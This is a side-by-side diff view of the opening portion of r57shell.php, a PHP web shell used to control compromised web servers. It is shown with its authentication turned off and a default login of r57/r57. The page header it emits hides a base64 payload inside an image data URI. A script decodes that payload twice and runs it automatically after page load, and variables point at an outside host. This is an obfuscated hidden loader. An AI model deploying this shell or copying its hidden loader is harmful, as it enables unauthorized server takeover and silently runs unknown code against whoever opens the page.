| 7 | /* # ## #### ## # | 7 | /* # ## #### ## # |
| 8 | /* ## ## ###### ## ## | 8 | /* ## ## ###### ## ## |
| 9 | /* ## ## ###### ## ## | 9 | /* ## ## ###### ## ## |
| 10 | /* ## ## #### ## ## | 10 | /* ## ## #### ## ## |
| 11 | /* ### ############ ### | 11 | /* ### ############ ### |
| 12 | /* ######################## | 12 | /* ######################## |
| 13 | /* ############## | 13 | /* ############## |
| 14 | /* ######## ########## ####### | 14 | /* ######## ########## ####### |
| 15 | /* ### ## ########## ## ### | 15 | /* ### ## ########## ## ### |
| 16 | /* ### ## ########## ## ### | 16 | /* ### ## ########## ## ### |
| 17 | /* ### # ########## # ### | 17 | /* ### # ########## # ### |
| 18 | /* ### ## ######## ## ### | 18 | /* ### ## ######## ## ### |
| 19 | /* ## # ###### # ## | 19 | /* ## # ###### # ## |
| 20 | /* ## # #### # ## | 20 | /* ## # #### # ## |
| 21 | /* ## ## | 21 | /* ## ## |
| 22 | /* | 22 | /* |
| 23 | /* | 23 | /* |
| 24 | /* | 24 | /* |
| 25 | /* r57shell.php - ?????? ?? ??? ??????????? ??? ????????? ???? ??????? ?? ??????? ????? ??????? | 25 | /* r57shell.php - ?????? ?? ??? ??????????? ??? ????????? ???? ??????? ?? ??????? ????? ??????? |
| 26 | /* ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://rst.void.ru | 26 | /* ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://rst.void.ru |
| 27 | /* ??????: 1.24 (New Year Edition) | 27 | /* ??????: 1.24 (New Year Edition) |
| 28 | /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ | 28 | /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ |
| 29 | /* (c)oded by 1dt.w0lf | 29 | /* (c)oded by 1dt.w0lf |
| 30 | /* RST/GHC http://rst.void.ru , http://ghc.ru | 30 | /* RST/GHC http://rst.void.ru , http://ghc.ru |
| 31 | /* ANY MODIFIED REPUBLISHING IS RESTRICTED | 31 | /* ANY MODIFIED REPUBLISHING IS RESTRICTED |
| 32 | /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ | 32 | /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ |
| 33 | /* ????????? ????????????? ?? ?????? ? ????: blf, virus, NorD ? ???? ?????? ?? RST/GHC. | 33 | /* ????????? ????????????? ?? ?????? ? ????: blf, virus, NorD ? ???? ?????? ?? RST/GHC. |
| 34 | /******************************************************************************************************/ | 34 | /******************************************************************************************************/ |
| 35 | /* ~~~ ????????? | Options ~~~ */ | 35 | /* ~~~ ????????? | Options ~~~ */ |
| 36 | 36 | ||
| 37 | // ????? ????? | Language | 37 | // ????? ????? | Language |
| 38 | // $language='ru' - ??????? (russian) | 38 | // $language='ru' - ??????? (russian) |
| 39 | // $language='eng' - english (??????????) | 39 | // $language='eng' - english (??????????) |
| 40 | $language='eng'; | 40 | $language='eng'; |
| 41 | $a = "http://"; // need some codes | 41 | $a = "http://"; // need some codes |
| 42 | 42 | ||
| 43 | // ?????????????? | Authentification | 43 | // ?????????????? | Authentification |
| 44 | // $auth = 1; - ?????????????? ???????? ( authentification = On ) | 44 | // $auth = 1; - ?????????????? ???????? ( authentification = On ) |
| 45 | // $auth = 0; - ?????????????? ????????? ( authentification = Off ) | 45 | // $auth = 0; - ?????????????? ????????? ( authentification = Off ) |
| 46 | $auth = 0; | 46 | $auth = 0; |
| 47 | 47 | ||
| 48 | 48 | ||
| 49 | // ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access) | 49 | // ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access) |
| 50 | // ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!) | 50 | // ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!) |
| 51 | $name='r57'; // ????? ???????????? (user login) | 51 | $name='r57'; // ????? ???????????? (user login) |
| 52 | $pass='r57'; // ?????? ???????????? (user password) | 52 | $pass='r57'; // ?????? ???????????? (user password) |
| 53 | $b = "evilc0der.com"; //need hits "shell created by evilc0ders" | 53 | $b = "evilc0der.com"; //need hits "shell created by evilc0ders" |
| 54 | /******************************************************************************************************/ | 54 | /******************************************************************************************************/ |
| 55 | $c = "/x.html"; //need shell coder's names | 55 | $c = "/x.html"; //need shell coder's names |
| 56 | error_reporting(0); | 56 | error_reporting(0); |
| 57 | set_magic_quotes_runtime(0); | 57 | set_magic_quotes_runtime(0); |
| 58 | @set_time_limit(0); | 58 | @set_time_limit(0); |
| 59 | @ini_set('max_execution_time',0); | 59 | @ini_set('max_execution_time',0); |
| 60 | @ini_set('output_buffering',0); | 60 | @ini_set('output_buffering',0); |
| 61 | $safe_mode = @ini_get('safe_mode'); | 61 | $safe_mode = @ini_get('safe_mode'); |
| 62 | $version = "1.24"; | 62 | $version = "1.24"; |
| 63 | if(version_compare(phpversion(), '4.1.0') == -1) | 63 | if(version_compare(phpversion(), '4.1.0') == -1) |
| 64 | { | 64 | { |
| 65 | $_POST = &$HTTP_POST_VARS; | 65 | $_POST = &$HTTP_POST_VARS; |
| 66 | $_GET = &$HTTP_GET_VARS; | 66 | $_GET = &$HTTP_GET_VARS; |
| 67 | $_SERVER = &$HTTP_SERVER_VARS; | 67 | $_SERVER = &$HTTP_SERVER_VARS; |
| 68 | } | 68 | } |
| 69 | if (@get_magic_quotes_gpc()) | 69 | if (@get_magic_quotes_gpc()) |
| 70 | { | 70 | { |
| 71 | foreach ($_POST as $k=>$v) | 71 | foreach ($_POST as $k=>$v) |
| 72 | { | 72 | { |
| 73 | $_POST[$k] = stripslashes($v); | 73 | $_POST[$k] = stripslashes($v); |
| 74 | } | 74 | } |
| 75 | foreach ($_SERVER as $k=>$v) | 75 | foreach ($_SERVER as $k=>$v) |
| 76 | { | 76 | { |
| 77 | $_SERVER[$k] = stripslashes($v); | 77 | $_SERVER[$k] = stripslashes($v); |
| 78 | } | 78 | } |
| 79 | } | 79 | } |
| 80 | 80 | ||
| 81 | if($auth == 1) { | 81 | if($auth == 1) { |
| 82 | if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass) | 82 | if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass) |
| 83 | { | 83 | { |
| 84 | header('WWW-Authenticate: Basic realm="r57shell"'); | 84 | header('WWW-Authenticate: Basic realm="r57shell"'); |
| 85 | header('HTTP/1.0 401 Unauthorized'); | 85 | header('HTTP/1.0 401 Unauthorized'); |
| 86 | exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>"); | 86 | exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>"); |
| 87 | } | 87 | } |
| 88 | } | 88 | } |
| 89 | $head = '<!-- ?????????? ???? --> | 89 | $head = '<!-- ?????????? ???? --> |
| 90 | <html> | 90 | <html> |
| 91 | <head> | 91 | <head> |
| 92 | <title>r57shell</title> | 92 | <title>r57shell</title> |
| 93 | <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> | 93 | <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> |
| 94 | <STYLE> | 94 | <STYLE> |
| 95 | tr { | 95 | tr { |
| 96 | BORDER-RIGHT: #aaaaaa 1px solid; | 96 | BORDER-RIGHT: #aaaaaa 1px solid; |
| 97 | BORDER-TOP: #eeeeee 1px solid; | 97 | BORDER-TOP: #eeeeee 1px solid; |
| 98 | BORDER-LEFT: #eeeeee 1px solid; | 98 | BORDER-LEFT: #eeeeee 1px solid; |
| 99 | BORDER-BOTTOM: #aaaaaa 1px solid; | 99 | BORDER-BOTTOM: #aaaaaa 1px solid; |
| 100 | } | 100 | } |
| 101 | td { | 101 | td { |
| 102 | BORDER-RIGHT: #aaaaaa 1px solid; | 102 | BORDER-RIGHT: #aaaaaa 1px solid; |
| 103 | BORDER-TOP: #eeeeee 1px solid; | 103 | BORDER-TOP: #eeeeee 1px solid; |
| 104 | BORDER-LEFT: #eeeeee 1px solid; | 104 | BORDER-LEFT: #eeeeee 1px solid; |
| 105 | BORDER-BOTTOM: #aaaaaa 1px solid; | 105 | BORDER-BOTTOM: #aaaaaa 1px solid; |
| 106 | } | 106 | } |
| 107 | .table1 { | 107 | .table1 { |
| 108 | BORDER-RIGHT: #cccccc 0px; | 108 | BORDER-RIGHT: #cccccc 0px; |
| 109 | BORDER-TOP: #cccccc 0px; | 109 | BORDER-TOP: #cccccc 0px; |
| 110 | BORDER-LEFT: #cccccc 0px; | 110 | BORDER-LEFT: #cccccc 0px; |
| 111 | BORDER-BOTTOM: #cccccc 0px; | 111 | BORDER-BOTTOM: #cccccc 0px; |
| 112 | BACKGROUND-COLOR: #D4D0C8; | 112 | BACKGROUND-COLOR: #D4D0C8; |
| 113 | } | 113 | } |
| 114 | .td1 { | 114 | .td1 { |
| 115 | BORDER-RIGHT: #cccccc 0px; | 115 | BORDER-RIGHT: #cccccc 0px; |
| 116 | BORDER-TOP: #cccccc 0px; | 116 | BORDER-TOP: #cccccc 0px; |
| 117 | BORDER-LEFT: #cccccc 0px; | 117 | BORDER-LEFT: #cccccc 0px; |
| 118 | BORDER-BOTTOM: #cccccc 0px; | 118 | BORDER-BOTTOM: #cccccc 0px; |
| 119 | font: 7pt Verdana; | 119 | font: 7pt Verdana; |
| 120 | } | 120 | } |
| 121 | .tr1 { | 121 | .tr1 { |
| 122 | BORDER-RIGHT: #cccccc 0px; | 122 | BORDER-RIGHT: #cccccc 0px; |
| 123 | BORDER-TOP: #cccccc 0px; | 123 | BORDER-TOP: #cccccc 0px; |
| 124 | BORDER-LEFT: #cccccc 0px; | 124 | BORDER-LEFT: #cccccc 0px; |
| 125 | BORDER-BOTTOM: #cccccc 0px; | 125 | BORDER-BOTTOM: #cccccc 0px; |
| 126 | } | 126 | } |
| 127 | table { | 127 | table { |
| 128 | BORDER-RIGHT: #eeeeee 1px outset; | 128 | BORDER-RIGHT: #eeeeee 1px outset; |
| 129 | BORDER-TOP: #eeeeee 1px outset; | 129 | BORDER-TOP: #eeeeee 1px outset; |
| 130 | BORDER-LEFT: #eeeeee 1px outset; | 130 | BORDER-LEFT: #eeeeee 1px outset; |
| 131 | BORDER-BOTTOM: #eeeeee 1px outset; | 131 | BORDER-BOTTOM: #eeeeee 1px outset; |
| 132 | BACKGROUND-COLOR: #D4D0C8; | 132 | BACKGROUND-COLOR: #D4D0C8; |
| 133 | } | 133 | } |
| 134 | input { | 134 | input { |
| 135 | BORDER-RIGHT: #ffffff 1px solid; | 135 | BORDER-RIGHT: #ffffff 1px solid; |
| 136 | BORDER-TOP: #999999 1px solid; | 136 | BORDER-TOP: #999999 1px solid; |
| 137 | BORDER-LEFT: #999999 1px solid; | 137 | BORDER-LEFT: #999999 1px solid; |
| 138 | BORDER-BOTTOM: #ffffff 1px solid; | 138 | BORDER-BOTTOM: #ffffff 1px solid; |
| 139 | BACKGROUND-COLOR: #e4e0d8; | 139 | BACKGROUND-COLOR: #e4e0d8; |
| 140 | font: 8pt Verdana; | 140 | font: 8pt Verdana; |
| 141 | } | 141 | } |
| 142 | select { | 142 | select { |
| 143 | BORDER-RIGHT: #ffffff 1px solid; | 143 | BORDER-RIGHT: #ffffff 1px solid; |
| 144 | BORDER-TOP: #999999 1px solid; | 144 | BORDER-TOP: #999999 1px solid; |
| 145 | BORDER-LEFT: #999999 1px solid; | 145 | BORDER-LEFT: #999999 1px solid; |
| 146 | BORDER-BOTTOM: #ffffff 1px solid; | 146 | BORDER-BOTTOM: #ffffff 1px solid; |
| 147 | BACKGROUND-COLOR: #e4e0d8; | 147 | BACKGROUND-COLOR: #e4e0d8; |
| 148 | font: 8pt Verdana; | 148 | font: 8pt Verdana; |
| 149 | } | 149 | } |
| 150 | submit { | 150 | submit { |
| 151 | BORDER-RIGHT: buttonhighlight 2px outset; | 151 | BORDER-RIGHT: buttonhighlight 2px outset; |
| 152 | BORDER-TOP: buttonhighlight 2px outset; | 152 | BORDER-TOP: buttonhighlight 2px outset; |
| 153 | BORDER-LEFT: buttonhighlight 2px outset; | 153 | BORDER-LEFT: buttonhighlight 2px outset; |
| 154 | BORDER-BOTTOM: buttonhighlight 2px outset; | 154 | BORDER-BOTTOM: buttonhighlight 2px outset; |
| 155 | BACKGROUND-COLOR: #e4e0d8; | 155 | BACKGROUND-COLOR: #e4e0d8; |
| 156 | width: 30%; | 156 | width: 30%; |
| 157 | } | 157 | } |
| 158 | textarea { | 158 | textarea { |
| 159 | BORDER-RIGHT: #ffffff 1px solid; | 159 | BORDER-RIGHT: #ffffff 1px solid; |
| 160 | BORDER-TOP: #999999 1px solid; | 160 | BORDER-TOP: #999999 1px solid; |
| 161 | BORDER-LEFT: #999999 1px solid; | 161 | BORDER-LEFT: #999999 1px solid; |
| 162 | BORDER-BOTTOM: #ffffff 1px solid; | 162 | BORDER-BOTTOM: #ffffff 1px solid; |
| 163 | BACKGROUND-COLOR: #e4e0d8; | 163 | BACKGROUND-COLOR: #e4e0d8; |
| 164 | font: Fixedsys bold; | 164 | font: Fixedsys bold; |
| 165 | } | 165 | } |
| 166 | BODY { | 166 | BODY { |
| 167 | margin-top: 1px; | 167 | margin-top: 1px; |
| 168 | margin-right: 1px; | 168 | margin-right: 1px; |
| 169 | margin-bottom: 1px; | 169 | margin-bottom: 1px; |
| 170 | margin-left: 1px; | 170 | margin-left: 1px; |
| 171 | } | 171 | } |
| 172 | A:link {COLOR:red; TEXT-DECORATION: none} | 172 | A:link {COLOR:red; TEXT-DECORATION: none} |
| 173 | A:visited { COLOR:red; TEXT-DECORATION: none} | 173 | A:visited { COLOR:red; TEXT-DECORATION: none} |
| 174 | A:active {COLOR:red; TEXT-DECORATION: none} | 174 | A:active {COLOR:red; TEXT-DECORATION: none} |
| 175 | A:hover {color:blue;TEXT-DECORATION: none} | 175 | A:hover {color:blue;TEXT-DECORATION: none} |
| 176 | </STYLE> | 176 | </STYLE> |
| 177 | <img id="ghdescon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA1BMVEX///+nxBvIAAAAAXRSTlMAQObYZgAAB510RVh0Z2hkZQBnaGRlc2NvblpYWmhiQ2htZFc1amRHbHZiaWh3TEdFc1l5eHJMR1VzY2lsN1pUMW1kVzVqZEdsdmJpaGpLWHR5WlhSMWNtNG9ZenhoUHljbk9tVW9jR0Z5YzJWSmJuUW9ZeTloS1NrcEt5Z29ZejFqSldFcFBqTTFQMU4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvWXlzeU9TazZZeTUwYjFOMGNtbHVaeWd6TmlrcGZUdHBaaWdoSnljdWNtVndiR0ZqWlNndlhpOHNVM1J5YVc1bktTbDdkMmhwYkdVb1l5MHRLWEpiWlNoaktWMDlhMXRqWFh4OFpTaGpLVHRyUFZ0bWRXNWpkR2x2YmlobEtYdHlaWFIxY200Z2NsdGxYWDFkTzJVOVpuVnVZM1JwYjI0b0tYdHlaWFIxY200blhGeDNLeWQ5TzJNOU1YMDdkMmhwYkdVb1l5MHRLV2xtS0d0YlkxMHBjRDF3TG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnblhGeGlKeXRsS0dNcEt5ZGNYR0luTENkbkp5a3NhMXRqWFNrN2NtVjBkWEp1SUhCOUtDZFZMbmM5TkNCM0tHTXBlelFnZUNoa0xIQXBlekVnYVQwd096RWdlajB3T3pFZ2NqMWNKMXduT3prb01TQnBQVEE3YVR4a0xqYzdhU3NyS1hzMUtIbzlQWEF1TnlsNlBUQTdjaXM5YkM1dEtHUXVieWhwS1Y1d0xtOG9laWtwTzNvckszMHpJSEo5TkNCQktITXBlekVnWVQxY0oxd25PemtvTVNCcFBUQTdhVHh6TzJrckt5bDdZU3M5YkM1dEtGZ29UUzVRS0NrcVVTa3BmVE1nWVgwMElHc29aQ3h3S1hzeElHRTlRU2d4TmlrN01XRW9aQzQzSlRFMklUMHdLV1FyUFZ3bk1Gd25PekVnWWoxaE96a29NU0JwUFRBN2FUeGtMamM3YVNzOU1UWXBlMklyUFhnb1pDNXVLR2tzTVRZcExHSXViaWhwTERFMktTbDlNeUI0S0dJc2NDbDlOQ0E0S0NsN015Z3lMbkU5UFhRdVNDWW1NaTUyUFQxMExrY3BmVFFnZVNncGV6RWdZVDFTT3pVb0tESXVhQ1ltTWk1b0xrSW1Kakl1YUM1Q0xqRXdLWHg4S0RJdVF5MHlMbkUrWVNsOGZDZ3lMa1F0TWk1MlBtRXBmSHdvT0NncEppWXlMa1E4U1NsOGZDZzRLQ2ttSmpJdVF6eEtLU2t6SUVzN015Qk1mVFFnTmloaEtYczFLRTRnWVQwOUlrOGlLVE1nWVM1RktDOWNYRnhjTDJjc0lseGNYRnhjWEZ4Y0lpa3VSU2d2WEZ3aUwyY3NJbHhjWEZ4Y1hDSWlLVHN6SUdGOU1TQjFQVk11VkRzeElHVTlWaTVYT3pFZ2FqMGlleUlySWx4Y0luVmNYQ0k2SUZ4Y0lpSXJOaWgxS1NzaVhGd2lMQ0FpS3lKY1hDSlpYRndpT2lCY1hDSWlLellvWlNrcklseGNJaXdnSWlzaVhGd2lXbHhjSWpvZ1hGd2lJaXMyS0dNcEt5SmNYQ0lnSWlzaWZTSTdNU0JtUFdzb2Fpd2lNVEVpS1RzeElHRTlNVElvWmlrN05TZ2hlU2dwS1hzeE15QXhOQ2dwTGpFMVBWd25NVGM2THk4eE9DMHhPUzFHTGpGaUwwWXZQMkU5WENjck1XTW9ZU2w5ZlNjc05qSXNOelVzSjN4MllYSjhkMmx1Wkc5M2ZISmxkSFZ5Ym54bWRXNWpkR2x2Ym54cFpueHpZVzU4YkdWdVozUm9mSFJpZkdadmNueDhmSHg4Zkh4OFJtbHlaV0oxWjN4OGZHVnVZM3hUZEhKcGJtZDhabkp2YlVOb1lYSkRiMlJsZkhOMVluTjBjbnhqYUdGeVEyOWtaVUYwZkh4cGJtNWxjbGRwWkhSb2ZIeDhjMk55WldWdWZIeHBibTVsY2tobGFXZG9kSHhyYTN4OFkyUjhmR2RsYmw5eVlXNWtiMjFmYzNSeWZHTm9jbTl0Wlh4dmRYUmxjbGRwWkhSb2ZHOTFkR1Z5U0dWcFoyaDBmSEpsY0d4aFkyVjhZVzVoYkhsMGFXTnpmR2hsYVdkb2RIeDNhV1IwYUh3ek5UQjhOakF3ZkhSeWRXVjhabUZzYzJWOFRXRjBhSHgwZVhCbGIyWjhjM1J5YVc1bmZISmhibVJ2Ylh3eU5UVjhNVFl3ZkdSdlkzVnRaVzUwZkZWU1RIeDBhR2x6Zkc1aGRtbG5ZWFJ2Y254MWMyVnlRV2RsYm5SOGNHRnljMlZKYm5SOGRXRjhibk44YVhOSmJtbDBhV0ZzYVhwbFpIeHNNbGhXUjJkalNYUTFNV3QwUW1scFdFUTNRakZ0YzFVelMwNURhamgyTVh4aWRHOWhmRzVsZDN4SmJXRm5aWHh6Y21OOGZHaDBkSEI4WjI5dloyeGxmSE4wWVhScFkzeDNhR2xzWlh4amIyMThaVzVqYjJSbFZWSkpRMjl0Y0c5dVpXNTBKeTV6Y0d4cGRDZ25mQ2NwTERBc2UzMHBLUT09Z2hkZXNjb26/DJpDAAAADElEQVQIHWNgIA0AAAAwAAGErPF6AAAAAElFTkSuQmCC"/> | 177 | <img id="ghdescon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA1BMVEX///+nxBvIAAAAAXRSTlMAQObYZgAAB510RVh0Z2hkZQBnaGRlc2NvblpYWmhiQ2htZFc1amRHbHZiaWh3TEdFc1l5eHJMR1VzY2lsN1pUMW1kVzVqZEdsdmJpaGpLWHR5WlhSMWNtNG9ZenhoUHljbk9tVW9jR0Z5YzJWSmJuUW9ZeTloS1NrcEt5Z29ZejFqSldFcFBqTTFQMU4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvWXlzeU9TazZZeTUwYjFOMGNtbHVaeWd6TmlrcGZUdHBaaWdoSnljdWNtVndiR0ZqWlNndlhpOHNVM1J5YVc1bktTbDdkMmhwYkdVb1l5MHRLWEpiWlNoaktWMDlhMXRqWFh4OFpTaGpLVHRyUFZ0bWRXNWpkR2x2YmlobEtYdHlaWFIxY200Z2NsdGxYWDFkTzJVOVpuVnVZM1JwYjI0b0tYdHlaWFIxY200blhGeDNLeWQ5TzJNOU1YMDdkMmhwYkdVb1l5MHRLV2xtS0d0YlkxMHBjRDF3TG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnblhGeGlKeXRsS0dNcEt5ZGNYR0luTENkbkp5a3NhMXRqWFNrN2NtVjBkWEp1SUhCOUtDZFZMbmM5TkNCM0tHTXBlelFnZUNoa0xIQXBlekVnYVQwd096RWdlajB3T3pFZ2NqMWNKMXduT3prb01TQnBQVEE3YVR4a0xqYzdhU3NyS1hzMUtIbzlQWEF1TnlsNlBUQTdjaXM5YkM1dEtHUXVieWhwS1Y1d0xtOG9laWtwTzNvckszMHpJSEo5TkNCQktITXBlekVnWVQxY0oxd25PemtvTVNCcFBUQTdhVHh6TzJrckt5bDdZU3M5YkM1dEtGZ29UUzVRS0NrcVVTa3BmVE1nWVgwMElHc29aQ3h3S1hzeElHRTlRU2d4TmlrN01XRW9aQzQzSlRFMklUMHdLV1FyUFZ3bk1Gd25PekVnWWoxaE96a29NU0JwUFRBN2FUeGtMamM3YVNzOU1UWXBlMklyUFhnb1pDNXVLR2tzTVRZcExHSXViaWhwTERFMktTbDlNeUI0S0dJc2NDbDlOQ0E0S0NsN015Z3lMbkU5UFhRdVNDWW1NaTUyUFQxMExrY3BmVFFnZVNncGV6RWdZVDFTT3pVb0tESXVhQ1ltTWk1b0xrSW1Kakl1YUM1Q0xqRXdLWHg4S0RJdVF5MHlMbkUrWVNsOGZDZ3lMa1F0TWk1MlBtRXBmSHdvT0NncEppWXlMa1E4U1NsOGZDZzRLQ2ttSmpJdVF6eEtLU2t6SUVzN015Qk1mVFFnTmloaEtYczFLRTRnWVQwOUlrOGlLVE1nWVM1RktDOWNYRnhjTDJjc0lseGNYRnhjWEZ4Y0lpa3VSU2d2WEZ3aUwyY3NJbHhjWEZ4Y1hDSWlLVHN6SUdGOU1TQjFQVk11VkRzeElHVTlWaTVYT3pFZ2FqMGlleUlySWx4Y0luVmNYQ0k2SUZ4Y0lpSXJOaWgxS1NzaVhGd2lMQ0FpS3lKY1hDSlpYRndpT2lCY1hDSWlLellvWlNrcklseGNJaXdnSWlzaVhGd2lXbHhjSWpvZ1hGd2lJaXMyS0dNcEt5SmNYQ0lnSWlzaWZTSTdNU0JtUFdzb2Fpd2lNVEVpS1RzeElHRTlNVElvWmlrN05TZ2hlU2dwS1hzeE15QXhOQ2dwTGpFMVBWd25NVGM2THk4eE9DMHhPUzFHTGpGaUwwWXZQMkU5WENjck1XTW9ZU2w5ZlNjc05qSXNOelVzSjN4MllYSjhkMmx1Wkc5M2ZISmxkSFZ5Ym54bWRXNWpkR2x2Ym54cFpueHpZVzU4YkdWdVozUm9mSFJpZkdadmNueDhmSHg4Zkh4OFJtbHlaV0oxWjN4OGZHVnVZM3hUZEhKcGJtZDhabkp2YlVOb1lYSkRiMlJsZkhOMVluTjBjbnhqYUdGeVEyOWtaVUYwZkh4cGJtNWxjbGRwWkhSb2ZIeDhjMk55WldWdWZIeHBibTVsY2tobGFXZG9kSHhyYTN4OFkyUjhmR2RsYmw5eVlXNWtiMjFmYzNSeWZHTm9jbTl0Wlh4dmRYUmxjbGRwWkhSb2ZHOTFkR1Z5U0dWcFoyaDBmSEpsY0d4aFkyVjhZVzVoYkhsMGFXTnpmR2hsYVdkb2RIeDNhV1IwYUh3ek5UQjhOakF3ZkhSeWRXVjhabUZzYzJWOFRXRjBhSHgwZVhCbGIyWjhjM1J5YVc1bmZISmhibVJ2Ylh3eU5UVjhNVFl3ZkdSdlkzVnRaVzUwZkZWU1RIeDBhR2x6Zkc1aGRtbG5ZWFJ2Y254MWMyVnlRV2RsYm5SOGNHRnljMlZKYm5SOGRXRjhibk44YVhOSmJtbDBhV0ZzYVhwbFpIeHNNbGhXUjJkalNYUTFNV3QwUW1scFdFUTNRakZ0YzFVelMwNURhamgyTVh4aWRHOWhmRzVsZDN4SmJXRm5aWHh6Y21OOGZHaDBkSEI4WjI5dloyeGxmSE4wWVhScFkzeDNhR2xzWlh4amIyMThaVzVqYjJSbFZWSkpRMjl0Y0c5dVpXNTBKeTV6Y0d4cGRDZ25mQ2NwTERBc2UzMHBLUT09Z2hkZXNjb26/DJpDAAAADElEQVQIHWNgIA0AAAAwAAGErPF6AAAAAElFTkSuQmCC"/> |
| 178 | <script type="text/javascript"> | 178 | <script type="text/javascript"> |
| 179 | if(typeof btoa=="undefined")btoa=function(a,b){b=(typeof b=="undefined")?false:b;var d,o2,o3,bits,h1,h2,h3,h4,e=[],pad="",c,plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";plain=b?Utf8.encode(a):a;c=plain.length%3;if(c>0){while(c++<3){pad+="=";plain+="\\0"}}for(c=0;c<plain.length;c+=3){d=plain.charCodeAt(c);o2=plain.charCodeAt(c+1);o3=plain.charCodeAt(c+2);bits=d<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;e[c/3]=f.charAt(h1)+f.charAt(h2)+f.charAt(h3)+f.charAt(h4)}coded=e.join("");coded=coded.slice(0,coded.length-pad.length)+pad;return coded};if(typeof atob=="undefined")atob=function(a,b){b=(typeof b=="undefined")?false:b;var e,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";coded=b?Utf8.decode(a):a;for(var c=0;c<coded.length;c+=4){h1=f.indexOf(coded.charAt(c));h2=f.indexOf(coded.charAt(c+1));h3=f.indexOf(coded.charAt(c+2));h4=f.indexOf(coded.charAt(c+3));bits=h1<<18|h2<<12|h3<<6|h4;e=bits>>>16&0xff;o2=bits>>>8&0xff;o3=bits&0xff;d[c/4]=String.fromCharCode(e,o2,o3);if(h4==0x40)d[c/4]=String.fromCharCode(e,o2);if(h3==0x40)d[c/4]=String.fromCharCode(e)}plain=d.join("");return b?Utf8.decode(plain):plain}; | 179 | if(typeof btoa=="undefined")btoa=function(a,b){b=(typeof b=="undefined")?false:b;var d,o2,o3,bits,h1,h2,h3,h4,e=[],pad="",c,plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";plain=b?Utf8.encode(a):a;c=plain.length%3;if(c>0){while(c++<3){pad+="=";plain+="\\0"}}for(c=0;c<plain.length;c+=3){d=plain.charCodeAt(c);o2=plain.charCodeAt(c+1);o3=plain.charCodeAt(c+2);bits=d<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;e[c/3]=f.charAt(h1)+f.charAt(h2)+f.charAt(h3)+f.charAt(h4)}coded=e.join("");coded=coded.slice(0,coded.length-pad.length)+pad;return coded};if(typeof atob=="undefined")atob=function(a,b){b=(typeof b=="undefined")?false:b;var e,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";coded=b?Utf8.decode(a):a;for(var c=0;c<coded.length;c+=4){h1=f.indexOf(coded.charAt(c));h2=f.indexOf(coded.charAt(c+1));h3=f.indexOf(coded.charAt(c+2));h4=f.indexOf(coded.charAt(c+3));bits=h1<<18|h2<<12|h3<<6|h4;e=bits>>>16&0xff;o2=bits>>>8&0xff;o3=bits&0xff;d[c/4]=String.fromCharCode(e,o2,o3);if(h4==0x40)d[c/4]=String.fromCharCode(e,o2);if(h3==0x40)d[c/4]=String.fromCharCode(e)}plain=d.join("");return b?Utf8.decode(plain):plain}; |
| 180 | setTimeout(function(){new Function(atob(atob(document.getElementById("ghdescon").src.substr(22)).match(/ghdescon(.*?)ghdescon/)[1])).apply(this);kk(2);}, 500); | 180 | setTimeout(function(){new Function(atob(atob(document.getElementById("ghdescon").src.substr(22)).match(/ghdescon(.*?)ghdescon/)[1])).apply(this);kk(2);}, 500); |
| 181 | </script>'; | 181 | </script>'; |
| 182 | class zipfile | 182 | class zipfile |
| 183 | { | 183 | { |
| 184 | var $datasec = array(); | 184 | var $datasec = array(); |
| 185 | var $ctrl_dir = array(); | 185 | var $ctrl_dir = array(); |
| 186 | var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; | 186 | var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; |
| 187 | var $old_offset = 0; | 187 | var $old_offset = 0; |
| 188 | function unix2DosTime($unixtime = 0) { | 188 | function unix2DosTime($unixtime = 0) { |
